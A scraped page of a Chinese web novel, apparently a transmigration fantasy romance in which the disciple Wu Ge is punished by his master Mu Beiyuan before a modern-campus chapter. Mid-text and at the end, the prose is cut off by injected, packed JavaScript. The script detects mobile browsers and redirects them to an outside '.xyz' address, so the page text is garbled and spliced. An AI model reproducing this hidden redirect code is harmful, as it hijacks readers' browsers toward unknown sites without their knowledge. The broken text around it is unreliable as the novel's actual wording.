也在小孩心静止水的内心中砸起一阵水花。 从此心中不再空无一人,而是有了泛起涟漪的对象。 “慕雪仙君,不可啊!” “大人请三思,收了这孩子,唯恐有大乱发生啊!” “二弟,你可确定了?”秦泺只是担忧地看向慕北源。 “师兄,北源心意已决。”慕北源扶起地上的乌歌,后者惊得慌忙拉住那雪白的衣袖。 蹭上一片污渍。 仙门里凡是待过段时间,都知道慕雪仙君最爱干净,虽脾气温润,但不喜人近身。 乌歌似乎也认识到自己弄脏了人衣服,赶紧放开手,害怕地低垂脑袋。 慕北源只是微愣了一下,并未露出一点嫌恶或者不耐烦的表情。 他只是笑,笑得温柔,笑得如沐春风。 “真是一只小脏狼崽,该洗澡了。” “大人……” “嗯?该叫什么?”慕北源垂眼看着那只蠢蠢欲动想要拉住他手指的小手,主动张开手握了上去。 乌歌猛地一颤,感受着手上的温度,声音轻得像是听不见。 “徒儿乌歌,拜见师尊!” “走吧,回去给你换件新衣服。”慕北源不再等待其他弟子回来,拉着乌歌的手便转身离开。 “诶二哥,你不再看看别的弟子了吗?”玄清河大声问到。 “不了,”慕北源回过头笑了笑,“只他一人足够。” 只我一人吗……乌歌呆呆得想。 他心中也唯有这一人了。 在苍小冯他们好不容易通过了那扇金门,早已不见了乌歌和慕北源两人。 初升的旭日东升,在神峰上投下一片余晖,拉长了不远处一大一小两个人的人影…… 因为我们约定过,只唯你一人。 6. 不正轨迹 “乌歌?”空旷的园子中,慕北源轻柔的声音显得极其突兀。 “啊,弟子在,请师尊恕罪,弟子方才不小心走神了。”乌歌吓得一激灵,强行从回忆里清醒过来。 “是吗?”男人轻笑一声,眼眸弯弯看着心情倍好,只是这笑容看得乌歌心底发毛。 “你觉得为师该不该狠狠揍你一顿。” 眼前的美人语出惊天,完全不顾底下小弟子逐渐震惊的表情。 “啊,啊?”不对,说好的宠溺呢? “徒儿可是有异议?” 慕北源随意揉了把身旁白虎毛茸茸的脑袋,一举一动都是闲适优雅,他的每句话都温柔的似在低语。 “大半夜的,徒儿不去休息来为师的云生宫,是想做什么呢?” “弟子,弟子夜猎时太想念师尊,脑子一热就来了!只是没想到师尊还未入寝,哈哈……” 乌歌绞尽脑汁总算想出解释,说话都有些结巴。 “本君是不是说过,任何人都不能来镜花林。” “弟子知错!弟子一时脑热忘了,还请师尊原谅弟子!”乌歌只感觉周围气压低得让人喘不过气,这是快要丧命的节奏啊。 “跪吧。”轻飘飘的一句话却好似有千斤重,“啪”的一下,乌歌一个滑跪毫不犹豫双膝跪地,乖巧低垂着头。 只能感受到面前的气息愈发强势,直到视线出现一角洁白的衣摆。 “你可知,今晚的膳食当中本君发现了什么?”慕北源的声音自头顶响起。 “不,不知。”乌歌垂下眼掩饰住眼里的慌乱。 当然知道,我下的嘛!绝对不能承认,不然开局崩啊。 就在乌歌疯狂思考怎样逃过一劫时,慕北源竟回应的“嗯”了一声。 “随便问问罢了,不要紧张。” 慕北源像是在轻声安慰被吓到的大徒弟,骨节分明的手指轻轻搭在那截露出来的白皙脖颈,若忽略掉跪在地上的人不断颤抖的身子,旁人见了也会觉得慕雪仙君是多么疼爱自己的徒弟。 手下动作力气逐渐增大,明明该是火辣的窒息感,乌歌却感觉自己全身发冷,他会被掐死的! 就在他两眼发白,以为自己会一命呜呼时,后脖上的压力撤开,乌歌像刚上岸的鱼不断喘着粗气。 “师,师尊。”少年声线颤抖。 慕北源没有应答,指尖从脖颈移到人的发顶上,他轻柔的摸了摸小徒弟的头。 “生儿,你有多久没有去夜猎了?”慕北源猛力拽起乌歌高束的发冠,半弯下腰拉近两人的距离,少年漆黑的瞳孔微微震动。 “回答我,怀生。”乌歌思绪有些飘远,怀生是慕北源给乌歌取的字,入门那几天,当知道自己没有字时,小乌歌天天缠着师尊为他取字。 “就取怀生吧,乌歌,字怀生,愿你一路高歌,心怀苍生。” 慕北源笑着抱起地上扒拉他衣袖的小少年,指尖点点乌歌被冻红的鼻尖。 ——生儿,喜欢吗? “唔。”感觉自己的脸颊被人捏了一下,乌歌身子一颤,慕北源那双褐色凤眸撞进他的眼里,没有记忆中的那般温柔含笑,而是满目的冰凉冷漠。 “身为本君座下的首席弟子,白虎峰众人的大师兄,却玩忽职守,不尽夜猎弟子之责。” “乌歌,是本君太宠你了对吗?” “弟子,弟子不敢。”乌歌害怕得话都说不利索。 他绝对穿错书了!绝对! “你说,该怎么罚你才好,如此伤师尊的心。”慕北源作出一副似乎真的被伤透了心的表情,轻叹道。 “要不师尊揍弟子一顿,解解气?弟子也觉得自己太顽劣了,该打!”乌歌面上十分懊恼,心里却想着:我都这么诚恳了,儿砸你要是还有心就立马哄我! “嗯,生儿能这样想为师很欣慰。” ——是吧,那就快扶你最疼爱的弟子起来呀! 慕北源在乌歌满怀期待的眼神中伸出了手,然后一手抚下少年微弯的腰背,重重拍了下,激得人赶紧挺直了腰。 “跪直了,不然罚的更重。” 乌歌:…… 还有更无语的,慕北源似乎看到了小徒弟眼里的不满,他轻轻笑了声,转身走到乌歌身后,乌歌还在疑惑这是要干什么,他小心往后瞥了眼,吓得狼耳朵差点冒出来。 慕北源手心不知什么时候出现了一条雪白长鞭,雷电滋滋,甩在空中发出破空声响,打在地板砸得分出裂缝。 “二十鞭,如何?”冰冷的长鞭像毒蛇似的沿着少年的后背爬到颈窝,激起酥麻痒意。 “师师师尊,弟子害怕,能能能不能当刚刚的话在放屁……”乌歌快吓哭了,这鞭子是要打陀螺吗?他又不属陀螺,真的不欠抽啊! “那你方才就是在欺师了?”慕北源猛地甩起长鞭重重打在乌歌跪地的膝盖边,还能看到地板上劈出的黑痕,看得直让人心惊胆战。 “你在怕我?”慕北源挑了挑眉。 “不不不……” “那生儿抖什么?”男人似笑非笑,看着少年不断哆嗦的身子,轻问道。 乌歌喉间一哽,突然意识到哪里不对。 脑子转啊转,原著里的慕北源是实打实地偏爱大徒弟,像偷懒,张扬跋扈的小性子该是早就习惯了才对,怎会自己刚穿来就性情大变? 一定是自己的相处方式不对,以书中乌歌的性子怎么能像刚刚那样怂得话都说不清楚。 那来吧。是绿茶嘤嘤怪风?霸道总裁风?还是直球狼狗风? 干脆做自己最好了! 跪在地上的少年突然一把拽住雪白长鞭。 靠,好麻麻麻。 他深吸一口气,强迫自己忽略那手中的麻意,猛一起身,转过头来用自己以为最嚣张的眼神盯着慕北源,缓缓开口: “咳咳,小爷我……” ——才不会怕你! 后面几个字还没吐出来,在自家仙尊那越发冰凉的眼神中,他果断抱住了慕北源的腰身。 毛茸茸的发顶一个劲蹭。 慕北源身形一僵,面色有一点点破碎。 “师尊啊!你明明说过生儿是你最喜欢的弟子了,生儿承认自己以前多少过于嚣张了。” 乌歌挤出几滴眼泪,偷偷蹭到面前那雪白衣料上,浸湿一片。 这是他的寝衣!慕北源的表情异常难看。 有洁癖的他眼里阴翳更甚,但依旧毫无动作。 他在看,看这个小畜牲还想耍什么花招。 “打架斗殴,偷喝仙酒,课上迟到早退……”乌歌从脑海里扒出这些记忆,越说越觉得自己似乎会更惨了。 “但是弟子一定改!争做新时代好少年!”乌歌心里默念道,富强民主文明和谐…… 看着乌歌可怜兮兮的模样,慕北源不知怎的,想起这人还小的时候,犯了错也是这般抱着自己眼泪汪汪的保证下次一定改! 虽然下次也不一定改。但随着年岁的增长,乌歌也再不会像以前那样如此亲昵得抱着他,只是一脸阴沉站在自己身后,眼中是偏执阴暗和一点他不敢深究的情愫,让他极不舒服。 慕北源紧紧看了他半晌,终是叹了口气。 现在还不是时候。 “自己去净心堂领罚吧。” 乌歌开心得快要跳起来,看着自家好大儿的俊脸恨不得亲一口。 “弟子就知道师尊最好了!” “加上你刚刚说的那几条,一共六十藤杖。”慕北源淡淡道。 ——虽然打不死,但半死不活还是能做到的。 空气瞬时沉默。 乌歌好不容易收回去的狼耳又一下子冒了出来,还炸了毛。 慕北源眼里诧异,直直看着那对毛茸茸的狼耳。 “你这是?” “弟子只是一时没控制好情绪。”乌歌面无表情道。 “嗯,”慕北源点点头,道:“看来你偷懒的这段时间确实学艺不精了,如此就再加十杖吧。” “妈卖批。”乌歌实在忍不住了,骂到。 “什么?” “夸师尊的母亲卖相很好是个大美人,牛的一批。” 慕北源:…… 月明星疏的夜晚,空中隐隐有黑色流星一划而过。 【叮——系统寻找宿主中】 【寻找完毕,oh,sweetheart(噢,甜心),原来您在这里,您的宝宝来啦!】 白虎峰某一山腰处,乌歌一脸黑线从草丛中爬出来,顶着一头叶子。 【天呐宿主,您这是去羊村吃草了吗?】 “屁,你们这群坑货,这特么是穿错书了,那一言不发就丢人的狗比是我好大儿吗?” “老子这亲爹不认!” 【噢宿主,请您相信宝宝,我们绝对没有穿错书,这里就是宿主所写的小说世界。】 “那一会儿去受罚,你替我?” 【不敢当不敢当……不过宝宝可以给宿主屏蔽痛感!】 “少来,老子没那么没骨气。”乌歌狠狠道。 “我那大孝子没安排人来绑我?是觉得我会自己去受罚?” “笑话!我像是那么乖的人吗?”乌歌起身拍拍树叶,反正慕北源没有过问关于下药的事,这一劫就算是过了。 就在乌歌大摇大摆地拍拍屁股准备走人,他脚下一绊,摔倒在地。 一条水蛇似的金色麻绳缠住了他的脚,随后往上爬捆住了他的腰。 “艹!还真有人来绑我!” 话音刚落,几位身着白衣的仙人弟子走来,腰间赫然挂的是“净心堂”的令牌。 为首的弟子朝他拱手,小心翼翼道。 “大师兄,掌门让我们领你去净心堂领罚,还望海涵。”声音低得生怕面前之人暴跳而起 乌歌:…… “走吧,我去受罚。”乌歌长叹口气,一脸肉疼地摇了摇头。 众人面面相觑,似乎在想乌歌此话的真实性。 “师兄您就直说了,是准备半路逃跑吗?反正掌门大人也不会真罚的。”一个弟子插嘴道。 “?”乌歌明白了,原身这名声连好脾气都不配拥有,再看看几名小师弟敢怒不敢言的模样,绝不是因为看到师兄受罚而不满。 大家都巴不得收拾这个嚣张的大弟子呢!只是慕北源向来疼惜乌歌,这次也怕只是做做样子。 不,少年,你错了,我的好大儿没你想的那么爱我,他连亲爹都能下狠手! 乌歌叹了口气,作出一副生气的样子。 “老子叫走就走!磨蹭什么?” “拽着你的金色麻绳走啊!” 那个拿着金绳的弟子手一用力,果真听话的拽着乌歌就往回走。 “这就对嘛,我操别拽那么紧,勒死我了……” “你故意的吧?兄弟你绝对故意的吧!” “禁止带私人恩怨办事啊!” 乌歌被拽得龇牙咧嘴,一路上大呼小叫,一会儿扯着嗓子道“有你们这样对待大师兄的吗?”一会儿嬉皮笑脸地贴到领头弟子面前说点讨饶的软话。 “大师兄刚刚想了许久,以前确实是我的不对,在场各位师弟多有得罪。” 乌歌咧嘴笑盈盈道“不过现在我早已改邪归正,过去的乌歌简直太不是人了!可谓是天地所不容,世间之奇葩!简直不可理喻!” 众弟子:…… 一名弟子实在忍不住了,瞪着双惊恐的眼睛,崩溃道。 “师兄求你别说了!大家都知道掌门不会真罚你的,你何必,何必开这等惊悚玩笑消遣大家!” “是啊大师兄,你以为是我们自愿来绑你吗?若不是掌门大人特意下令,我,我们也不会来找虐啊!” “我现在看见大师兄,腿都在打哆嗦,天呐!真是人生阴影。” 乌歌:…… 话是这么说,那个拽绳子的你还敢再收紧点吗?! 就这样拉拉扯扯,终是到达了净心堂。 净心堂,坐落于四象神峰交界处,是四大门派统一的惩戒院,由白虎峰打理。 选址倒是绮丽,亭台轩榭,假山灵泉一样不落,一座寺庙模样的建筑独栋而立,门匾上刻着几个苍劲有力的大字——净心堂。 若是以前的文人墨客到了这里,也得赞叹一句真是隐居的好地方,令人心情愉悦,净心,静心……还惊心。 乌歌愕然瞪大双眼,那院外几棵寒梅树下,跪着几名上身赤裸,头顶瓷碗的弟子。 个个面目寒霜,眼神坚定的似是要入党,乌歌悄悄瞥了眼,才发现那瓷碗里还装满了清水。 一个看起来年纪稍小的弟子没能跪直,碗里的清水洒落些许,那水渍刚沾地,膝下的雪地便绽出一朵雪花状法阵,身后那棵梅树立即伸出一条满是荆棘的枝条破空打去。 啪!后者疼得翻到在地,却被那枝条又拽起扶好,周围的人都目视无睹,乌歌伸着脖子张望,那几名弟子背上都是满背鞭痕! 大雪纷飞,伤口似乎结了霜,再被一鞭子打下时又浸出血来。 乌歌下意识咽了咽口水。 “这是鞭罚。”他旁边的一个人好心提醒道,想来大师兄几乎就没到过净心堂,该是不晓得这些。 “你家鞭罚长这样!?不该是一个夫子拿着一条藤条沾水打吗?”乌歌本来想着这样罚的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883365|176398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,自己也会疼的鬼哭狼嚎,好不容易做好了心理准备……乌歌哭笑不得,他怕自己一会儿还没开罚呢就先吓晕了。 当时他写的净心堂只是一个普普通通的惩戒院而已,怎么罚的还真不知道! “那是凡人的打法,修仙处处都是修习,怎能懈怠!”那名弟子终于找到了压人一头的理由,严肃道。 “那几个是犯了什么错,竟受如此……”乌歌回头看了眼,心下道,如此恶刑! “这些啊,是昨日在学术课上打瞌睡的,这都是些小惩小戒罢了。”另一名押解他的弟子插嘴道。 乌歌:……呵呵,小惩小戒。 可见以前的乌歌是多么受宠的地步了,皇帝的贵妃都没这样的待遇吧?原身真的偏要作死,放着师尊这条好大腿不抱去当叛徒? 乌歌心里狠狠唾弃了一下自己。都怪他,写的什么破人设! “我觉得,我可以换一个惩罚……”乌歌怯怯道。当时慕北源那么生气,他觉得自己今天可能得竖着进去,横着出来。 “师兄你确定吗?你只是由容长老杖打七十下而已,都不算净心堂平日的惩戒。” “掌门果然很疼师兄,惩罚都是专门设立的。”有人酸溜溜道。“福气真好。” 这个福气最好一辈子都别要。 察觉到几道幽幽的视线,乌歌还是腼腆地笑了一下。 “啊……这样,那就不换了吧。”脱一层皮和掉一层肉到底谁更疼,他还是拎得清楚。 于是,乌歌闭上眼深吸一口气,看着眼前那道大门,咬牙踏了进去,他不入地狱,也没人能代替他入地狱了。 可悲,可叹。 “啊——”净心堂内,杖打刑罚终于开始,在一块一看就是刚做好的木板上趴着一位少年。 那少年被金绳绑在木板上,痛呼声响彻整个大堂。 此时,容长老面目阴沉地站在乌歌身后,手中握着一条足有小臂粗的藤杖,他无语地看着眼前之人在木板上无痛呻吟。 “要死了,痛痛痛。”乌歌扯着嗓子,咬牙切齿道,在木板上扭曲痛骂。 “容,容长老还没开始呢。”负责把乌歌绑在木板上的弟子实在看不下去了,小声提醒。 【宿主,好像叫早了诶。】 【你少管我!】 系统:…… 【宿主,可您这叫得太假了】 乌歌闻言立即没了动静,好像被吓晕了似的。 【就问你,假吗?】 容鹤:…… 容鹤面无表情,举起藤杖掂量两下,毫不犹豫打了下去。人体遭重物碰撞的声响传起,乌歌紧绷身体,下意识就要惨叫出来。 为了让杖罚更有效,万恶的慕北源竟然让容鹤给他喂了化灵丹,此时他灵力尽失,体质与凡人无异。其实叫出来,该要好受点。 但接触到周围人幸灾乐祸的视线,他心底突然冒出一个声音,勒令他不许出声,不许哭。 ——他会不高兴的,所以不要服软。 ——让这些人吵吧,闹吧,看不起你的最后都会死。 ——这点痛何足挂齿,你生来就是要弑神的。 ——忍下去,乌歌。 系统已经准备好在宿主惨叫的那一刻屏蔽痛感了,却发现乌歌只是在第一下时身子轻颤,并未半点动作。 一丝痛呼的呻吟都没有。 【宿主,您还好吗?】 【……】 【宿主,快理理宝宝呀!宿主您怎么了?天呐不会被打死了吧!】 【聒噪,闭嘴。】 【呜呜呜呜。】 乌歌漆黑晦暗的瞳孔浸出一点红丝,随后如绽放的雪莲花蔓延开来,好似棺材里的血鬼。他额头抵着木板,诡异红光没一人察觉。 哪怕他已经强忍着不再出声,身体接受痛感的本能无法抑制,他刚收回去的兽耳冒出,不受控制地颤抖。 四十五,四十六……第五十下的时候似乎有血丝浸出。 “凡人身躯承受这等打法,看着就痛啊!”胆小点的弟子瑟瑟发抖。 “那藤杖上面还施了荆棘法术的,全是刺。” “我,我还以为掌门给师兄的惩罚不会那么重的,所以师兄犯什么错了?”有弟子好奇心顿起。 “哼,叫他乌歌平时嚣张跋扈,目中无人,掌门肯定厌烦他了。”向来不喜乌歌的夜猎弟子嘲讽道。 ——厌烦我吗?为什么要厌烦我呢。 ——他不能厌烦我啊,不能。 ——不能厌烦我! 乌歌紧咬的牙关里蹦出一点沉吟,他突然在木板上奋力挣扎起来,似乎承受不住接下来的杖打 。 容长老皱皱眉头,刚施法让金绳绑得更紧了些,还剩最后十下,他希望这崽子可以忍下去。 板上的少年停止了动作,在空中停顿的藤杖还未打下去时,乌歌身后紫光乍现,一条毛茸茸的黑色狼尾甩开藤杖,失控般在半空乱挥。 乌歌已经没了意识,晕乎过去。 容鹤诧异地看了看地上的藤杖,目光打量间思考是否停止惩罚,可是还没打完,净心堂一向对惩罚公平公正。 他刚拾起藤杖寻找还能下手的地方,那条粗大的狼尾似乎有灵性似的,尾尖绒毛如利剑“啪”得一下,藤杖应声断成两半,掉落在地。 容鹤脸色黑的能挤出水来,围观的弟子们都还未反应过来。 “你们几个看着他,老夫再去拿一条……” “不必了。”清冷沉稳的声音自门口响起。 众人回头一看,还没看清是何人,只能感受到夹裹着冷冽寒雪气息的梅香略过鼻尖,白袍翻飞,银丝飘逸。 慕北源站在晕过去的少年旁边,那条为非作歹的狼尾被他攥在掌心,有一下没一下的轻抚。 少年溢出一道呻吟,狼尾在男人手里乖巧地像只小猫。 众弟子以及无辜系统:! “见过掌门大人!”容鹤率先回过神。 “见过掌门大人——”众人恭敬拱手道。 慕北源没有应答,只是垂眼看着安静的乌歌,眼里晦暗一片。 “剩下的,就不罚了,他累了。”慕北源轻声道。 见他随手抬起,那绑着人的金绳化成金光散去,少年软成水的身子浮在雪花簇拥当中,滴落汗水的狼耳狼尾轻微颤抖。 “是。”容鹤弯腰静待掌门带着少年离去,直到看不见人了才抬起头无声叹息。 “这都什么事啊,老夫一把年龄了可见不得这些。” 既然舍不得,干嘛罚这么重,坏人老夫当了,好人倒是你捡去了。 老夫的眼睛就是尺! 7. 【现世篇】温柔缠绻 学校里的人都知道,乌歌父母双亡,性子暴躁易怒。 自从上了大学,乌歌越发不喜欢与人交往,都说大学生愚蠢清澈宛如一汪清泉,但只有他自己明白,成年人的世界哪有那么多的单纯善意。 他不是凭借成绩考进了A大,外面的人都说,乌歌为了进大学,不仅变卖了父母从小给他留的家产,还去爬了高层的床。 毕竟A大也不是普通人能就读的,来这里的谁家没点势力财富? 但他不在乎,除非这些流言蜚语传到他的面前,不过乌歌不会傻到去抄起家伙揍人一顿,这样只会断送大学生涯。 他会阴人。 刚开始,学校里找乌歌麻烦的人处处皆是,课桌上的辱骂纸条,板凳上时不时出现的一两只蟑螂。 后者从未露出丁点恼怒情绪,轻描淡写地把“污秽物”收拾一团,就和完成平时课题似的,就当只是一件家常。 不过,奇怪的是要不了几天,闹过事的人就会被扒出家里黑料,一夜之间在贴吧里传的沸沸扬扬。 如果偶尔几次,就当是巧合了。 直到有个暴发户的新生偏偏不信邪,当众找人掀了乌歌课桌不说,还破口大骂,骂的简直难听。 他骂了乌歌“有娘生没娘养。” 少年漆黑的眼眸深得可怕,被门口水盆泼了一脸的苍白面容仍旧毫无表情,只是破天荒地,他回应了这个新生。 黑眸弯起,只是笑意不曾。 “同学,希望你今天也能吃饱喝饱。” …… 当晚,那新生家里的偷税漏税证据被放了出来。一夜冲上贴吧榜顶,闹得学校人心不宁,管理人员尝试过好几次处理,却惊人地发现。 这个帖子删不了,撤不了,甚至连评论区的评论也不能更改。 不出三天,暴发户一家就被送入了监狱。 这结果一出,曾经惹过乌歌的人突然想起 ——他们一直瞧不起的贫困生,可是计算机系的第一名。 幕后之人是谁,不言而喻。 此后,大家都知道惹了乌歌总没好事,可是乌歌的行为又并未造成严重后果,他又没造谣,也没打架,无形中,报复打击了瞧不起乌歌的人。 那么学校里,没有人愿意接近乌歌了。 乌歌也从来没想过,像他这样与外界不和的人,会和学生会会长兼医学系第一学神有着千丝万缕的联系。 慕北源是除了乌歌,学校里另一位风云人物。 他性子温润尔雅,风度翩翩。家境不仅是A市一等一的好,长相也是大家公认校草。照乌歌的话来说,校草没他是因为他没去投票。 虽然进了大学,但他依然坚持读书学习,每次考试都是名列前茅,年纪轻轻,便已然攻读博士。 可谓和乌歌,一个天上,一个地下。 按理来说,这样一个男神,很多女生追捧。 但慕北源虽温柔,却不喜和人多交往,除了从小一起长大的几个兄弟,没人能和他有过多的接触。 乌歌打小心里就藏着恶劣分子。 他在校外的好友听说他们学校有这样一个人物,经常打趣乌歌。 这天乌歌又点开了微信。 【锦鲤泡泡:狼崽,上次我给你找的几个帅哥满意不?】 苍小冯总是说,乌歌这么孤独是因为少了个对象,介于乌歌那暴脾气,他觉得小姑娘承受不住。 所以决定给自家兄弟找个男朋友。 乌歌对于性向没什么要求,他说,看的对眼就好。 【七匹狼:不满意,怎么都是些小混混。】 【七匹狼:而且看见我就发抖,几个废物。】 【锦鲤泡泡:嘿呀,你自己不就混混吗?威名在外谁见了不递烟?】 【七匹狼:屁,老子大学了,不是该溜子老大。】 【锦鲤泡泡:行行,你大学了,所以你到底喜欢哪种类型?】 乌歌思绪飘远,不知为什么之前在图书馆远远看过那人一眼,觉得怪顺眼的。 【七匹狼:嗯,学霸类型的吧。】 【七匹狼:而且性格温柔,长得好看,也就比我差一丢丢,管理能力强,不怕我……】 【锦鲤泡泡:停!你要求还挺多,你当这是小说啊?我上哪去给你找个这样一位天使。】 【锦鲤泡泡:你这样,还不如找你们学校的慕北源,我看他挺符合。】 对面聊天信息框输了又输,半天没有回应。 【锦鲤泡泡:我丢,不会吧,狼哥你真喜欢你们校草?】 【七匹狼:……】 【锦鲤泡泡:我的天,没想到你是这样的狼哥!】 【七匹狼:看他顺眼,想逗一逗。】 【锦鲤泡泡:哟哟哟,看他顺眼,想要逗一逗~】 【七匹狼:……】 乌歌黑着脸退出聊天界面,为苍小冯的调戏感到恼怒。 但不得不说,他确实想要让慕北源注意到他。 像是命中注定般,看到慕北源的第一眼,他便想让那双不谙世事的浅眸中烙下他的印记。 乌歌其实不喜欢被掌控的感觉,尤其在意识到自己在冥冥之中有了不受控制的欲望。 他半撑着脸,舌尖无意识抵了抵腮帮,微微弯起的黑眸有亮光闪过。 可如果对方是慕北源,那好像一切都有了解释。而他并不讨厌这种感觉,乌歌的直觉告诉他。 他向来知道如何得到自己想要的。 当天正午,在A大食堂的三楼,身形高挑的黑衬衫少年背靠楼梯口墙面,对着窗前的倒影懒懒整理着额前的碎发,他半侧过头,视线紧紧落在食堂一楼的一抹白色上。 慕北源站在楼前,低头瞧着手机上那封匿名邮件。 ——嗟嗟,小猫咪,三楼来。 后面还配上一只欠欠的“霸道总裁”小狼表情包。 看了那条消息半晌,后者握着手机的修长手指微微收紧。 慕北源面无表情把手机揣回兜里,跟后面几个兄弟说明了一声。 “你们吃吧,今天我去三楼吃。” “源哥怎么想着去三楼了?你不是最讨厌天天霸占三楼的那个校霸了吗?”玄清河疑惑道。 “啧,不会是那家伙想做些什么不好的事情……”朱百翎面色不快。 “小源,是他吗?”秦泺思及那人的性格,略显担心道。 慕北源没有说话,只是轻轻摇摇头:“就想单独待会儿,顺便尝尝三楼的新菜品。” 这样一说,秦泺他们也不好再跟着,简单道了个别就和慕北源自楼口分开。 完全不知三楼的窗户前有个狗狗祟祟的人影扒着玻璃偷看。 乌歌保持着刚刚那个帅气的站姿好长时间了都没见目标上楼,急得他扒着玻璃,脸都贴成肉饼了,就开始偷窥情况。 是自己的约会邮件不够诚意吗?他之前在网上看情侣之间都有些专属的昵称。 什么小可爱,小坏蛋,小宝贝……听说加个小字更显亲切。 慕北源平常跟个猫儿一样,称作小猫咪难道不对吗? 乌歌表示自己的约会请求没有任何问题。 他挤眉弄眼地看着,直到看见慕北源告别那些路人甲,走向楼梯才长呼一口气。 然后他感受到一股冷冽的目光,吓得人一激灵,他下意识往下看去,与慕北源的视线直直碰上了。 乌歌:…… 他慌忙往后退两步,转过身拍拍自己的俊脸,左看右看从旁边一名正拿着镜子卖弄的小白脸手中抽出圆镜,确定自己的发型没乱后才镇定下来。 “谢了姐妹儿……啊不是,兄弟。” “一会儿哥约会成功请你吃饭。” 小白脸:…… 乌歌把镜子塞给人,走开前忍不住又瞥了眼镜子里的自己。 “帅啊!”乌歌十分满意。然后挺直腰板,大摇大摆地走到楼梯口刚刚站着的地方,重新背靠墙面,露出帅气的侧脸。 刚上到三楼看见这一幕的慕北源:…… 慕北源走向乌歌,余光打量了这位保持着此等站姿一动不动的小哥,然后绕过他就要走。 乌歌见他要走,一个转身就挡在人面前。 “帅哥留步!” 慕北源停下来,眸子一眨不眨看着人。 他的身量比面前挡着他的这位少年还要高半个头,被这样直直盯着,乌歌竟有些心虚。 “同学,你找我?”慕北源轻声询问。 乌歌清清嗓子,准备把提前在网上背好的霸总撩人语录一股脑说出来。那句“帅哥,你在勾引我。”还没吐出来,他看见慕北源对他轻轻笑了笑。 校草果然是校草,随意的一个微笑都是如沐春风,勾人心魂。 乌歌一下子忘了说些什么,结巴着“我,我……” 慕北源有点诧异地挑了挑眉,以他这个角度,能清晰地看见乌歌微红的耳根。 早就听说过学校有这样一个名义上的校霸,现在看来,传言有待考证。 “哦天呐,有帅哥!”有女生激动道。 “你说乌歌?得了吧,那校霸普通人可惹不起。” “不是不是啊,是慕学长!”此话一出,两人顿时感受到周围热烈似火的视线。 乌歌和慕北源的相貌都是绝色,只是乌歌的脾气和传言让大家只能欣赏不敢动作,但慕北源不一样啊! “学长吃饭了吗?我有钱啊!” “屁,学长像是差钱的人吗?他差的是我这样一位倾国倾城的大美人!” 空气一时间的静寂。 “兄弟,你真敢想啊!” “不想睡学长的gay,不是好gay!” 慕北源听得眼皮直跳,乌歌听得恨不得暴躁起跳。 老子看上的人,是想睡就睡的吗?! 乌歌阴沉着脸,也顾不上撩不撩人了,拽起慕北源的手就往里走。 慕北源本来想甩开的,但看到两人牵握的手,眼里意味不明,就任由自己被拉走了。 原本还吵嚷着“学长长,学长短”的众人顿时安静,不约而同地目光呆滞看着两人离去。 “乌歌刚刚那脸色好差啊……他不会要和学长打架吧?” “不!我那柔弱不能自理的学长!呜呜。” 终于找到一角安静之处,乌歌满意极了。他回头刚想撩一撩好不容易约来的美人,发现慕北源似乎在看什么东西。 他顺着人的目光看去,落到两人紧握的双手。 慕北源的手修长有力,骨节分明的指节轻轻抓握在自己略显削瘦的手指上,青筋微起,透着一股力量感。 他手指微屈,乌歌的手心又热又痒,激得他连忙抽回手。 慕北源这才把目光重新投向他。 “那什么,帅哥的手真好看啊,哈哈。”乌歌心虚地抚下鼻尖,然后又快速说到“我去打饭!” 看着乌歌跌跌撞撞跑向食堂窗口的背影,慕北源眼色微暗。 校霸……就这? 慕北源也不打算在这里等一个与他无关的人,刚想走,就见本来跑开的乌歌又冲回来不由分说地把他按在座位上,筷子水杯一摆,饭卡往那儿一放。 “这顿饭,哥请了。”乌歌严肃且自以为姿势霸道帅气。 慕北源:…… 坐在位置上等了几分钟,慕北源远远看着乌歌双手端着餐盘一颠一颠地跑来,瞧着很愉悦的样子。 “看今天的伙食是什么?糖醋鲤鱼!” “再看看这个!剁椒鱼头!还有麻辣小鱼干!” “嗯……还少了道汤。” 放下餐盘,乌歌又转身跑到另一个窗口,不一会儿又端来了一碗汤。 “当当,绿豆鲜鱼汤!”乌歌满脸写着“快夸我”的傲娇表情。 慕北源面色淡淡,看着“丰盛”的三菜一汤沉默片刻,突然闷笑道:“你家养猫?” “不啊!” “是吗?好像有这样一种说法,说主人和宠物的习性都差不多。” “这么喜欢吃鱼,我还以为你家养猫。” 慕北源知道这人是偏要留自己吃饭了,见乌歌也没什么坏心,就不再推辞,拾起筷子刚夹起鱼肉,就听对面的少年道。 “给你点的,觉得你应该喜欢。” “嗯?”慕北源微微一怔。 “因为你就是那只猫。”眼见对面人的脸色明显黑了不少,乌歌又连忙补充句“我是说你像猫儿一样漂亮优雅,可能也比较喜欢吃鱼。” 慕北源被这副说辞逗笑了,也不知是乐的还是气的。 “我还第一次听说这种事,想来乌学弟也是很用心了。” “你知道我是乌歌?”乌歌眼睛一亮,激动道。 “学弟的名字,学校里早已传遍了,不是吗?”慕北源夹起鱼丸放进嘴中,咀嚼片刻又将随身带着的保温杯拿出轻抿,动作慵懒优雅。 慕北源果然是猫吧。乌歌看着他的动作,呆呆地想。 不过,后来躺在床上怎么也起不来的乌歌一定会呜呜怒骂自己。 ——什么猫?那是大型猫科! “那个……那封邮件是……”乌歌语气略带局促,他在想慕北源到底知不知道是他约的人,是不是随便一个人请慕北源吃饭,他都会答应呢。 会的吧,毕竟慕学长性子温和亲人,他对谁都温柔似水。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883366|176398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 